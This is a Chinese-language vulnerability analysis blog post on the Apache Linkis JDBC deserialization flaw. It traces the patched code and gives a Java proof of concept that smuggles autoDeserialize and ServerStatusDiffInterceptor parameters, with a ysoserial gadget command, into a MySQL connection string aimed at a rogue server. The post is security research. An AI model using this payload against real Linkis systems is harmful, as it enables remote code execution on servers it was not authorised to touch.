commit地址
https://github.com/apache/linkis/commit/7005c01d7f7bca78322447f4f2f32b8398645687#diff-fbdc1d6e858556b3a29efe4862c0bbe5b66ed986f327bae43da9adafd0c4b743
漏洞通告
https://seclists.org/oss-sec/2023/q2/9
补丁对比
新代码验证了很多mysql连接的校验
漏洞分析
根据通告来看是jdbc反序列化,所以我们找一个可能会在连接中触发的函数跟踪。这里我选择了checkJdbcConnParams(),发现跟踪到了SqlConnection()
对比一下版本的差别,多了参数的校验
看看漏洞版本的代码,发现只对额外的参数做了校验。所以这里猜测可以直接拼接参数。
调试发现确实直接走到了connection
看一下mysql的版本
emmmm,mysql版本好像有点高。根据8.x版本写一下mysql的反序列化payload,构造一下SqlConnection,代码如下
import org.apache.linkis.metadata.query.service.mysql.SqlConnection;
import java.sql.SQLException;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws SQLException {
Map<String, Object> mp = new HashMap<>();
String host = "127.0.0.1";
int port = 3306;
String name = "root";
String password = "root";
String data ="mysql?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections1_open -a Calculator.app";
try {
SqlConnection s = new SqlConnection(host, port, name, password, data, mp);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}
}
复现发现mysql恶意服务器收到了请求,mysql8.x版本有点高所以命令执行是失败的emmm。
规则编写
此漏洞为jdbc的专题添加,暂不编写规则。
原文始发于微信公众号(e0m安全屋):apache_ links jdbc反序列化漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论